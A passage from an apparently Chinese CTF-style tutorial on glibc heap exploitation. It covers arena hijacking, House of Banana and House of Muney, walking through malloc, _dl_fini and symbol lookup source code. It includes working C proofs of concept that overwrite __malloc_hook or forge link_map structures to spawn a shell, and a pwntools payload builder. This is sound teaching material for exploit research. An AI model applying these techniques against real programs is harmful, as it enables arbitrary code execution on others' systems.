我们如果 malloc(0x1f8) 就会把 binmap 所在的 fake chunk 申请出来,我们称这个 fake chunk 为 BINMAP
在这里插入图片描述
之后我们考虑通过如何把 arena 切换到 伪造的 arena 上。

__libc_malloc 上,我们通过 arena_get 来获取 arena 。由于 arenaflags 的值一般为 0 ,因此将宏展开后发现实际上是获取的 thread_arena 的值。

    arena_get(ar_ptr, bytes);

定义:  
#define arena_get(ptr, size)   \
    do {                       \
        ptr = thread_arena;    \
        arena_lock(ptr, size); \
    } while (0)
替换:  
do {
    ar_ptr = thread_arena;
    do {
        if (ar_ptr && !(((ar_ptr)->flags & (4U)))) (void) ({(void)({int ignore1,ignore2,ignore3;if(__builtin_constant_p(0)&&(0)==0)__asm __volatile("cmpl $0, __libc_multiple_threads(%%rip)\n\t" "je 0f\n\t" "lock; cmpxchgl %4, %2\n\t" "jnz 1f\n\t" "jmp 24f\n" "0:\tcmpxchgl %4, %2\n\t" "jz 24f\n\t" "1:\tlea %2, %%" "rdi" "\n" "2:\tsub $128, %%" "rsp" "\n" ".cfi_adjust_cfa_offset 128\n" "3:\tcallq __lll_lock_wait_private\n" "4:\tadd $128, %%" "rsp" "\n" ".cfi_adjust_cfa_offset -128\n" "24:":"=S"(ignore1),"=&D"(ignore2),"=m"(*(&ar_ptr->mutex)),"=a"(ignore3):"0"(1),"m"(*(&ar_ptr->mutex)),"3"(0):"cx","r11","cc","memory");else __asm __volatile("cmpl $0, __libc_multiple_threads(%%rip)\n\t" "je 0f\n\t" "lock; cmpxchgl %4, %2\n\t" "jnz 1f\n\t" "jmp 24f\n" "0:\tcmpxchgl %4, %2\n\t" "jz 24f\n\t" "1:\tlea %2, %%" "rdi" "\n" "2:\tsub $128, %%" "rsp" "\n" ".cfi_adjust_cfa_offset 128\n" "3:\tcallq __lll_lock_wait\n" "4:\tadd $128, %%" "rsp" "\n" ".cfi_adjust_cfa_offset -128\n" "24:":"=S"(ignore1),"=D"(ignore2),"=m"(*(&ar_ptr->mutex)),"=a"(ignore3):"1"(1),"m"(*(&ar_ptr->mutex)),"3"(0),"0"(0):"cx","r11","cc","memory");});0; });
        else
            ar_ptr = arena_get2((bytes), ((void *) 0));
    } while (0);
} while (0)

arena_get 获取 arena 后会调用 _int_malloc 尝试申请内存,如果 _int_malloc 返回 NULL 则调用 arena_get_retry_int_malloc 尝试再次分配内存。

    arena_get(ar_ptr, bytes);

    victim = _int_malloc(ar_ptr, bytes);
    /* Retry with another arena only if we were able to find a usable arena
       before.  */
    if (!victim && ar_ptr != NULL) {
        LIBC_PROBE(memory_malloc_retry, 1, bytes);
        ar_ptr = arena_get_retry(ar_ptr, bytes);
        victim = _int_malloc(ar_ptr, bytes);
    }

由于 arenamain_arena ,因此实际上调用的是 arena_get2

static mstate
arena_get_retry(mstate ar_ptr, size_t bytes) {
    LIBC_PROBE(memory_arena_retry, 2, bytes, ar_ptr);
    if (ar_ptr != &main_arena) {
        ...
    } else {
        (void) mutex_unlock(&ar_ptr->mutex);
        ar_ptr = arena_get2(bytes, ar_ptr);
    }

    return ar_ptr;
}

arena_get2 函数中,我们有两种方式获取 arena

  • 如果 n <= narenas_limit - 1 则调用 _int_new_arena 创建一个新的 arena
  • 否则调用 reused_arena 从现有的 arena 中找一个可用的 arena
static mstate internal_function arena_get2(size_t size, mstate avoid_arena) {
    mstate a;

    static size_t narenas_limit;

    a = get_free_list(); // 调试发现返回 NULL
    if (a == NULL) {
        /* Nothing immediately available, so generate a new arena.  */
        if (narenas_limit == 0) {
            if (mp_.arena_max != 0)
                narenas_limit = mp_.arena_max;
            else if (narenas > mp_.arena_test) {
                int n = __get_nprocs();

                if (n >= 1)
                    narenas_limit = NARENAS_FROM_NCORES(n);
                else
                    /* We have no information about the system.  Assume two
                   cores.  */
                    narenas_limit = NARENAS_FROM_NCORES(2);
            }
        }
    repeat:;
        size_t n = narenas;
        /* NB: the following depends on the fact that (size_t)0 - 1 is a
         very large number and that the underflow is OK.  If arena_max
         is set the value of arena_test is irrelevant.  If arena_test
         is set but narenas is not yet larger or equal to arena_test
         narenas_limit is 0.  There is no possibility for narenas to
         be too big for the test to always fail since there is not
         enough address space to create that many arenas.  */
        if (__glibc_unlikely(n <= narenas_limit - 1)) {
            if (catomic_compare_and_exchange_bool_acq(&narenas, n + 1, n))
                goto repeat;
            a = _int_new_arena(size);
            if (__glibc_unlikely(a == NULL))
                catomic_decrement(&narenas);
        } else
            a = reused_arena(avoid_arena);
    }
    return a;
}

reused_arenanext_to_use 开始沿 arena.next 链表找第一个满足 !arena_is_corrupt(result) && !mutex_trylock(&result->mutex)arena并且会将找到的 arena 赋值给 thread_arena ,然后更新 next_to_use 为下一个 arena

static mstate
reused_arena(mstate avoid_arena) {
    mstate result;
    /* FIXME: Access to next_to_use suffers from data races.  */
    static mstate next_to_use;
    if (next_to_use == NULL)
        next_to_use = &main_arena;

    /* Iterate over all arenas (including those linked from
     free_list).  */
    result = next_to_use;
    do {
        if (!arena_is_corrupt(result) && !mutex_trylock(&result->mutex))
            goto out;

        /* FIXME: This is a data race, see _int_new_arena.  */
        result = result->next;
    } while (result != next_to_use);

    ...
out:
    ...
    thread_arena = result;
    next_to_use = result->next;

    return result;
}

因此我们可以修改 main_arena.next 指向伪造的 arena 然后两次调用 malloc(0xffffffffffffffbf + 1); 通过 checked_request2size(bytes, nb); 宏使得 _int_malloc 返回 NULL,最终使得 thread_arena 指向我们伪造的 arena 。具体过程如下:

首先需要确保 narenas > narenas_limit - 1 从而调用 reused_arena ,因此要构造 unsorted bin attack 将 narenas 改成一个较大的数。

  • 为了确保从 unsorted bin 中取出的 chunk 能通过 victim->size > av->system_mem 检查,我们将 main_arena.system_mem 赋值为 0xffffffffffffffff 。
  • INTM.bk 指向 &narenas - 0x10 构造 unsorted bin attack 。

在这里插入图片描述
INTM 申请出来,此时 arenas 上被写入了 &main_arena.top

main_arena.next 指向 INTM ,连续两次 malloc(0xffffffffffffffbf + 1);thread_arena 指向我们伪造的 INTM

  • 第一次 malloc(0xffffffffffffffbf + 1); 使得 thread_arena 指向 main_arenanext_to_use 指向 INTM
  • 第一次 malloc(0xffffffffffffffbf + 1); 使得 thread_arena 指向 INTM

之后将 *(uint64_t*) (INTM+0x30) 指向伪造的 chunk ,此时如果 malloc(0x68) 就会将目标地址处的内存申请出来。
在这里插入图片描述
poc 如下:

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

int main() {
    void *SMALLCHUNK = malloc(0x88);
    void *FAST20 = malloc(0x18);
    void *FAST40 = malloc(0x38);

    puts("[*] leak libc base.");
    free(SMALLCHUNK);
    uint64_t leak = *((uint64_t *) SMALLCHUNK);

    puts("[*] set binmap.");
    void *INTM = malloc(0x98);

    puts("[*] hijack main_arena.");
    SMALLCHUNK = malloc(0x88);
    free(SMALLCHUNK);
    *((uint64_t *) (SMALLCHUNK + 0x8)) = leak + 0x7f8;
    *((uint64_t *) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);
    free(FAST20);
    free(FAST40);
    void *BINMAP = malloc(0x1f8);

    puts("[*] switch to fake arena.");
    *((uint64_t *) (INTM + 0x8)) = leak - 0xa40;
    *((uint64_t *) (BINMAP + 0x20)) = 0xffffffffffffffff;
    INTM = malloc(0x98);
    *((uint64_t *) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);
    malloc(0xffffffffffffffbf + 1);
    malloc(0xffffffffffffffbf + 1);

    puts("[*] arbitrary address alloc.");

    *((uint64_t *) (INTM + 0x20)) = leak - 0x8b;

    puts("[*] hijack __malloc_hook.");
    void *FAKECHUNK = malloc(0x68);
    *(uint64_t *) (FAKECHUNK + 0x13) = leak - 0x2c5f71;

    puts("[*] trigger one_gadget.");
    malloc(0x114514);

    return 0;
}

House of Banana

在 ld.so 中定义了一个类型为 rtld_global 的全局变量 _rtld_global 。

/* This is the structure which defines all variables global to ld.so
   (except those which cannot be added for some reason).  */
struct rtld_global _rtld_global =
  {
    /* Get architecture specific initializer.  */
#include <dl-procruntime.c>
    /* Generally the default presumption without further information is an
     * executable stack but this is not true for all platforms.  */
    ._dl_stack_flags = DEFAULT_STACK_PERMS,
#ifdef _LIBC_REENTRANT
    ._dl_load_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,
    ._dl_load_write_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,
#endif
    ._dl_nns = 1,
    ._dl_ns =
    {
#ifdef _LIBC_REENTRANT
      [LM_ID_BASE] = { ._ns_unique_sym_table
		       = { .lock = _RTLD_LOCK_RECURSIVE_INITIALIZER } }
#endif
    }
  };

其中 rtld_global 类型部分定义如下:

struct rtld_global
{
#endif
  /* Don't change the order of the following elements.  'dl_loaded'
     must remain the first element.  Forever.  */

/* Non-shared code has no support for multiple namespaces.  */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
  EXTERN struct link_namespaces
  {
    /* A pointer to the map for the main map.  */
    struct link_map *_ns_loaded;
    /* Number of object in the _dl_loaded list.  */
    unsigned int _ns_nloaded;
    /* Direct pointer to the searchlist of the main object.  */
    struct r_scope_elem *_ns_main_searchlist;
    /* This is zero at program start to signal that the global scope map is
       allocated by rtld.  Later it keeps the size of the map.  It might be
       reset if in _dl_close if the last global object is removed.  */
    unsigned int _ns_global_scope_alloc;

    /* During dlopen, this is the number of objects that still need to
       be added to the global scope map.  It has to be taken into
       account when resizing the map, for future map additions after
       recursive dlopen calls from ELF constructors.  */
    unsigned int _ns_global_scope_pending_adds;

    /* Once libc.so has been loaded into the namespace, this points to
       its link map.  */
    struct link_map *libc_map;

    /* Search table for unique objects.  */
    struct unique_sym_table
    {
      __rtld_lock_define_recursive (, lock)
      struct unique_sym
      {
	uint32_t hashval;
	const char *name;
	const ElfW(Sym) *sym;
	const struct link_map *map;
      } *entries;
      size_t size;
      size_t n_elements;
      void (*free) (void *);
    } _ns_unique_sym_table;
    /* Keep track of changes to each namespace' list.  */
    struct r_debug _ns_debug;
  } _dl_ns[DL_NNS];
  /* One higher than index of last used namespace.  */
  EXTERN size_t _dl_nns;
  ...

这里只需要关注 link_namespaces 类型的数组 _dl_ns[DL_NNS] 和该数组中有效元素的数量 _dl_nns 以及 link_map 类型的指针 _ns_loaded 和该指针指向的链表元素数量 _ns_nloaded 。

link_map 相关结构如下:
其中主要关注的是 l_addr,l_next,l_real,l_info[DT_FINI_ARRAY](l_info[26]),l_info[DT_FINI_ARRAYSZ](l_info[28]),l_init_called。

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;		/* Difference between the address in the ELF
				   file and the addresses in memory.  */
    char *l_name;		/* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;		/* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */

    /* All following members are internal to the dynamic linker.
       They may change without notice.  */

    /* This is an element which is only ever different from a pointer to
       the very same copy of this type for ld.so when it is used in more
       than one namespace.  */
    struct link_map *l_real;

    /* Number of the namespace this link map belongs to.  */
    Lmid_t l_ns;

    struct libname_list *l_libname;
    /* Indexed pointers to dynamic section.
       [0,DT_NUM) are indexed by the processor-independent tags.
       [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
       [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
       indexed by DT_VERSIONTAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
       DT_EXTRATAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
       indexed by DT_VALTAGIDX(tagvalue) and
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
	DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
       are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>.  */

    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
		      + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
    const ElfW(Phdr) *l_phdr;	/* Pointer to program header table in core.  */
    ElfW(Addr) l_entry;		/* Entry point location.  */
    ElfW(Half) l_phnum;		/* Number of program header entries.  */
    ElfW(Half) l_ldnum;		/* Number of dynamic segment entries.  */

    /* Array of DT_NEEDED dependencies and their dependencies, in
       dependency order for symbol lookup (with and without
       duplicates).  There is no entry before the dependencies have
       been loaded.  */
    struct r_scope_elem l_searchlist;

    /* We need a special searchlist to process objects marked with
       DT_SYMBOLIC.  */
    struct r_scope_elem l_symbolic_searchlist;

    /* Dependent object that first caused this object to be loaded.  */
    struct link_map *l_loader;

    /* Array with version names.  */
    struct r_found_version *l_versions;
    unsigned int l_nversions;

    /* Symbol hash table.  */
    Elf_Symndx l_nbuckets;
    Elf32_Word l_gnu_bitmask_idxbits;
    Elf32_Word l_gnu_shift;
    const ElfW(Addr) *l_gnu_bitmask;
    union
    {
      const Elf32_Word *l_gnu_buckets;
      const Elf_Symndx *l_chain;
    };
    union
    {
      const Elf32_Word *l_gnu_chain_zero;
      const Elf_Symndx *l_buckets;
    };

    unsigned int l_direct_opencount; /* Reference count for dlopen/dlclose.  */
    enum			/* Where this object came from.  */
      {
	lt_executable,		/* The main executable program.  */
	lt_library,		/* Library needed by main executable.  */
	lt_loaded		/* Extra run-time loaded shared object.  */
      } l_type:2;
    unsigned int l_relocated:1;	/* Nonzero if object's relocations done.  */
    unsigned int l_init_called:1; /* Nonzero if DT_INIT function called.  */
    ...

在 _dl_fini 函数中有对 _dl_ns 数组以及 _dl_ns 中的链表 _ns_loaded 的遍历,主要逻辑如下:

  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
	 auditing DSOs.  */
      if (nloaded == 0
#ifdef SHARED
	  || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
	  )
	__rtld_lock_unlock_recursive (GL(dl_load_lock));
      else
	{
	  /* Now we can allocate an array to hold all the pointers and
	     copy the pointers in.  */
	  struct link_map *maps[nloaded];

	  unsigned int i;
	  struct link_map *l;
	  assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
	  for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
	    /* Do not handle ld.so in secondary namespaces.  */
	    if (l == l->l_real)
	      {
		assert (i < nloaded);

		maps[i] = l;
		l->l_idx = i;
		++i;

		/* Bump l_direct_opencount of all objects so that they
		   are not dlclose()ed from underneath us.  */
		++l->l_direct_opencount;
	      }
	  assert (ns != LM_ID_BASE || i == nloaded);
	  assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
	  unsigned int nmaps = i;

	  /* Now we have to do the sorting.  We can skip looking for the
	     binary itself which is at the front of the search list for
	     the main namespace.  */
	  _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
			 NULL, true);

	  /* We do not rely on the linked list of loaded object anymore
	     from this point on.  We have our own list here (maps).  The
	     various members of this list cannot vanish since the open
	     count is too high and will be decremented in this loop.  So
	     we release the lock so that some code which might be called
	     from a destructor can directly or indirectly access the
	     lock.  */
	  __rtld_lock_unlock_recursive (GL(dl_load_lock));

	  /* 'maps' now contains the objects in the right order.  Now
	     call the destructors.  We have to process this array from
	     the front.  */
	  for (i = 0; i < nmaps; ++i)
	    {
	      struct link_map *l = maps[i];

	      if (l->l_init_called)
		{
		  /* Make sure nothing happens if we are called twice.  */
		  l->l_init_called = 0;

		  /* Is there a destructor function?  */
		  if (l->l_info[DT_FINI_ARRAY] != NULL
		      || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
		    {
		      /* When debugging print a message first.  */
		      if (__builtin_expect (GLRO(dl_debug_mask)
					    & DL_DEBUG_IMPCALLS, 0))
			_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
					  DSO_FILENAME (l->l_name),
					  ns);

		      /* First see whether an array is given.  */
		      if (l->l_info[DT_FINI_ARRAY] != NULL)
			{
			  ElfW(Addr) *array =
			    (ElfW(Addr) *) (l->l_addr
					    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
			  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
					    / sizeof (ElfW(Addr)));
			  while (i-- > 0)
			    ((fini_t) array[i]) ();
			}
            ...

这段代码的主要逻辑是遍历 _dl_ns 数组,对于_dl_ns 中的某个元素,将 _ns_loaded 链表中的元素放入 maps 数组然后遍历 maps 数组。对于 maps 数组中的每个元素,如果满足一些条件,最终会调用其中 l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr 指向的函数数组中的所有函数。

通过分析可知可以利用 large bin attack 劫持 _rtld_global 的 _ns_loaded 指针然后伪造 link_map 链表从而劫持程序流程。

在伪造 link_map 的时候需要绕过如下检查:

  • 为了确保伪造的 link_map 能够加入到 map 数组中,需要令 l_real 指针指向 link_map 结构体自身。
    if (l == l->l_real)
     {
    	assert (i < nloaded);
    
    	maps[i] = l;
    	l->l_idx = i;
    	++i;
    
    	/* Bump l_direct_opencount of all objects so that they
    	   are not dlclose()ed from underneath us.  */
    	++l->l_direct_opencount;
     }
    
  • 为了绕过如下检查,需要让 link_map 链表中的元素个数为 4 ,因为 _rtld_global 中的 _ns_nloaded 默认为 4 。
    	  assert (ns != LM_ID_BASE || i == nloaded);
    	  assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
    
  • 为了确保能够进入下面的 if 判断,需要让该 link_map 的 l_init_called 位置 1 .
    	      if (l->l_init_called)
    

最终伪造的结构如下图所示,其中 link_map 链表可以伪造到一个 chunk 中,或者将 l_next 指针指向原来的 link_map 链表:
在这里插入图片描述
然而这个 link_map 不能随便伪造,否则过不了 _dl_sort_maps 函数。原作者伪造的 link_map 结构如下:
在这里插入图片描述

payload = ''
payload += p64(0)  # 0
payload += p64(link_map_addr + 8 * 2 + 0x10)  # 1
payload += p64(0)  # 2
payload += p64(link_map_addr)  # 3
payload += p64(0)  # 4
payload += p64(link_map_addr + 8 * 3 + 0x10)  # 5
payload += p64(link_map_addr + 8 * 8 + 0x10)  # 6
payload += p64(link_map_addr + 8 * 2 + 0x10)  # 7
payload += p64(link_map_addr + 8 * 3 + 0x10)  # 8
payload += p64(0) * 4
payload += p64(link_map_addr + 8 * 8 + 0x10)  # 13
payload = payload.ljust(0x20 * 8, '\x00')
payload += p64(link_map_addr + 0x30 * 8 + 0x10)  # 0x20 l_info[DT_FINI_ARRAY]
payload += p64(0)  # 0x21
payload += p64(link_map_addr + 0x23 * 8 + 0x10)  # 0x22 l_info[DT_FINI_ARRAYSZ]
payload += p64(0)  # 0x23 <-l_info[DT_FINI_ARRAYSZ]
payload += p64(8)  # 0x24
payload = payload.ljust(0x30 * 8, '\x00')
payload += p64(0)  # 0x30 <-l_info[DT_FINI_ARRAY]
payload += p64(link_map_addr + 0x32 * 8 + 0x10)  # 0x31
payload += p64(one_gadget)  # 0x32
payload = payload.ljust(0x334 - 0x10, '\x00')
payload += p8(1 << 4)  # l->l_init_called

poc 如下:

#include <stdio.h>
#include <stdlib.h>

void backdoor() {
    puts("you hacked me!!");
    system("/bin/sh");
}

int main() {
    puts("house of banana's poc");
    size_t libc_base = (size_t) &puts - 0x702e0;
    size_t _rtld_global_ptr_addr = libc_base + 0x5e6040;
    char *ptr0 = malloc(0x450);
    malloc(0x10);
    char *ptr1 = malloc(0x440);
    malloc(0x10);
    char *ptr2 = malloc(0x410);
    malloc(0x10);

    free(ptr0);
    //put ptr9 into large bin
    malloc(0x500);
    free(ptr1); //free ptr1 into unsorted bin
    free(ptr2); //free ptr2 into unsorted bin
    //bk_nextsize = _rtld_global_ptr_addr
    *(size_t *) (ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20;
    malloc(0x410); //large bin attack to  hijack _rtld_global_ptr

    //fake a _rtld_global
    size_t fake_rtld_global_addr = (size_t) (ptr1 - 0x10);
    size_t *fake_rtld_global = (size_t *) ptr1;
    //the chain's length must >= 4
    fake_rtld_global[1] = (size_t) &fake_rtld_global[2];//l_next
    fake_rtld_global[3] = fake_rtld_global_addr;//l_real

    fake_rtld_global[2 + 3] = (size_t) &fake_rtld_global[3];//l_next
    fake_rtld_global[2 + 5] = (size_t) &fake_rtld_global[2];//l_real

    fake_rtld_global[3 + 3] = (size_t) &fake_rtld_global[8];//l_next
    fake_rtld_global[3 + 5] = (size_t) &fake_rtld_global[3];//l_real

    fake_rtld_global[8 + 3] = 0;//l_next
    fake_rtld_global[8 + 5] = (size_t) &fake_rtld_global[8];//l_real

    //fake a fini_array segment
    fake_rtld_global[0x20] = (size_t) &fake_rtld_global[0x30];//l_info[DT_FINI_ARRAY]
    fake_rtld_global[0x22] = (size_t) &fake_rtld_global[0x23];//l_info[DT_FINI_ARRAYSZ]
    fake_rtld_global[0x23 + 1] = 0x8; //l_info[DT_FINI_ARRAYSZ]->d_un.d_val

    fake_rtld_global[0x31] = 0;//l_info[DT_FINI_ARRAY]->d_un.d_ptr
    fake_rtld_global[-2] = (size_t) &fake_rtld_global[0x32];//l_addr

    //funcs
    fake_rtld_global[0x32] = (size_t) backdoor;//array[0]


    fake_rtld_global[0x61] = 0x800000000;// l_init_called
    
    return 0;
}

House of Muney

在 glibc 中如果申请一块很大的内存会调用 mmap 分配一块贴近 glibc 的内存,此时如果修改掉 chunk 头的 size 然后释放掉就会将 glibc 中的部分内存释放掉,此时再次申请一块很大的内存会把释放掉的 glibc 重新申请回来,从而完成对 glibc 的劫持。
在这里插入图片描述
劫持 glibc 后,可以通过伪造延迟绑定相关结构劫持程序执行流程。

在延迟绑定过程有如下调用链:

_dl_runtime_resolve_xsavec -> _dl_fixup -> _dl_lookup_symbol_x -> do_lookup_x

do_lookup_x 需要注意的地方写在代码注释中了,具体需要伪造的结构的位置以及需要伪造的值通过调试确定

static int
__attribute_noinline__
do_lookup_x(const char *undef_name, uint_fast32_t new_hash,
            unsigned long int *old_hash, const ElfW(Sym) *ref,
            struct sym_val *result, struct r_scope_elem *scope, size_t i,
            const struct r_found_version *const version, int flags,
            struct link_map *skip, int type_class, struct link_map *undef_map) {
    size_t n = scope->r_nlist;
    /* Make sure we read the value before proceeding.  Otherwise we
       might use r_list pointing to the initial scope and r_nlist being
       the value after a resize.  That is the only path in dl-open.c not
       protected by GSCOPE.  A read barrier here might be to expensive.  */
    __asm volatile ("" : "+r" (n), "+m" (scope->r_list));
    struct link_map **list = scope->r_list;

    do {
        const struct link_map *map = list[i]->l_real;

        /* Here come the extra test needed for `_dl_lookup_symbol_skip'.  */
        if (map == skip)
            continue;

        /* Don't search the executable when resolving a copy reloc.  */
        if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
            continue;

        /* Do not look into objects which are going to be removed.  */
        if (map->l_removed)
            continue;

        /* Print some debugging info if wanted.  */
        if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))
            _dl_debug_printf("symbol=%s;  lookup in file=%s [%lu]\n",
                             undef_name, DSO_FILENAME (map->l_name),
                             map->l_ns);

        /* If the hash table is empty there is nothing to do here.  */
        if (map->l_nbuckets == 0)
            continue;

        Elf_Symndx symidx;
        int num_versions = 0;
        const ElfW(Sym) *versioned_sym = NULL;

        /* The tables for this map.  */
        const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
        const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);

        const ElfW(Sym) *sym;
        const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
        if (__glibc_likely (bitmask != NULL)) {
            ElfW(Addr) bitmask_word = bitmask[(new_hash / __ELF_NATIVE_CLASS) & map->l_gnu_bitmask_idxbits]; // 在对应位置伪造 bitmask_word 。
            unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
            unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift) & (__ELF_NATIVE_CLASS - 1));

            if (__glibc_unlikely ((bitmask_word >> hashbit1) & (bitmask_word >> hashbit2) & 1)) { // 伪造 bitmask_word 通过这个判断,具体是要让 bitmask_word 的 hashbit1 和 hashbit2 两个位都置位,需要通过调试确定。
                Elf32_Word bucket = map->l_gnu_buckets[new_hash % map->l_nbuckets]; // 在对应位置伪造 bucket 的值。
                if (bucket != 0) {
                    const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];// 在对应位置伪造 hasharr 的值为 new_hash 。

                    do
                        if (((*hasharr ^ new_hash) >> 1) == 0) {
                            symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
                            sym = check_match(undef_name, ref, version, flags, // 进这个函数,symtab[symidx] 对应位置需要伪造符号表。
                                              type_class, &symtab[symidx], symidx,
                                              strtab, map, &versioned_sym,
                                              &num_versions);
                            if (sym != NULL)
                                goto found_it;
                        }
                    while ((*hasharr++ & 1u) == 0);
                }
            }
            /* No symbol found.  */
            symidx = SHN_UNDEF;
        } else {
			...
        }

        /* If we have seen exactly one versioned symbol while we are
       looking for an unversioned symbol and the version is not the
       default version we still accept this symbol since there are
       no possible ambiguities.  */
        sym = num_versions == 1 ? versioned_sym : NULL;

        if (sym != NULL) {
            found_it:
            /* When UNDEF_MAP is NULL, which indicates we are called from
               do_lookup_x on relocation against protected data, we skip
               the data definion in the executable from copy reloc.  */
            if (ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA
                && undef_map == NULL // undef_map 不为 NULL 所以不进这个 if 判断。
                && map->l_type == lt_executable
                && type_class == ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA) {

            }

            /* Hidden and internal symbols are local, ignore them.  */
			// sym->st_other 既不能等于 STV_HIDDEN(2) 也不能等于 STV_INTERNAL(1) 。
            if (__glibc_unlikely (dl_symbol_visibility_binds_local_p(sym)))
                goto skip;

			// sym->st_info == STB_GLOBAL(1)
            switch (ELFW(ST_BIND) (sym->st_info)) {
				...
                case STB_GLOBAL:
                    /* Global definition.  Just what we need.  */
                    result->s = sym;
                    result->m = (struct link_map *) map;
                    return 1; // 从这里返回 1 表示找到。
				...
            }
        }

        skip:;
    } while (++i < n);

    /* We have not found anything until now.  */
    return 0;
}

check_match 函数中需要伪造符号表。

static const ElfW(Sym) *
check_match(const char *const undef_name,
            const ElfW(Sym) *const ref,
            const struct r_found_version *const version,
            const int flags,
            const int type_class,
            const ElfW(Sym) *const sym,
            const Elf_Symndx symidx,
            const char *const strtab,
            const struct link_map *const map,
            const ElfW(Sym) **const versioned_sym,
            int *const num_versions) {
    unsigned int stt = ELFW(ST_TYPE) (sym->st_info);
    assert (ELF_RTYPE_CLASS_PLT == 1);
	// 这里要求 sym->st_value 不为空且 sym->st_shndx 不等于 SHN_UNDEF(0) 。
    if (__glibc_unlikely ((sym->st_value == 0 /* No value.  */
                           && sym->st_shndx != SHN_ABS
                           && stt != STT_TLS)
                          || ELF_MACHINE_SYM_NO_MATCH(sym)
                          || (type_class & (sym->st_shndx == SHN_UNDEF))))
        return NULL;

    /* Ignore all but STT_NOTYPE, STT_OBJECT, STT_FUNC,
       STT_COMMON, STT_TLS, and STT_GNU_IFUNC since these are no
       code/data definitions.  */
#define ALLOWED_STT \
  ((1 << STT_NOTYPE) | (1 << STT_OBJECT) | (1 << STT_FUNC) \
   | (1 << STT_COMMON) | (1 << STT_TLS) | (1 << STT_GNU_IFUNC))
    // sym->st_info 的低 4 比特必须等于 STT_NOTYPE(0),STT_OBJECT(1),STT_FUNC(2),STT_COMMON(5),STT_TLS(6),STT_GNU_IFUNC(10) 中的其中一个。
    if (__glibc_unlikely (((1 << stt) & ALLOWED_STT) == 0))
        return NULL;

	// 这里要求 strtab + sym->st_name 指向被劫持函数的函数名,因为一般不会覆盖到动态符号字符串表 ( .dynstr) ,因此伪造其指向字符串表中的函数名即可。
    if (sym != ref && strcmp(strtab + sym->st_name, undef_name))
        /* Not the symbol we are looking for.  */
        return NULL;

    const ElfW(Half) *verstab = map->l_versyms;
    if (version != NULL) {
        if (__glibc_unlikely (verstab == NULL)) {
            ...
        } else {
            /* We can match the version information or use the
               default one if it is not hidden.  */
			// 正常这些检查都能通过,所以直接跳出。
            ElfW(Half) ndx = verstab[symidx] & 0x7fff;
            if ((map->l_versions[ndx].hash != version->hash
                 || strcmp(map->l_versions[ndx].name, version->name))
                && (version->hidden || map->l_versions[ndx].hash
                    || (verstab[symidx] & 0x8000)))
                /* It's not the version we want.  */
                return NULL;
        }
    } else {
		...
    }

    /* There cannot be another entry for this symbol so stop here.  */
    return sym; // 正常从这里返回。
}

整个过程中用到了 ELF GNU Hash Table(.gnu.hash 节,对应 _DYNAMIC 中的 DT_GNU_HASH) ,ELF Symbol Table(.dynsym 节,对应 _DYNAMIC 中的 DT_SYMTAB)和 ELF String Table (.dynstr 节,对应 _DYNAMIC 中的 DT_SYMTAB)。

  • ELF GNU Hash Table:哈希表,根据查找的函数名字符串的哈希值在表中快速查找该函数在符号表中的下标。对于该哈希表,ida 与 elftools 中对于成员名的定义有出入:

    ida 解析的名称elftools 解析的名称功能
    elf_gnu_hash_nbucketsnbucketsbuckets 中元素的数量。
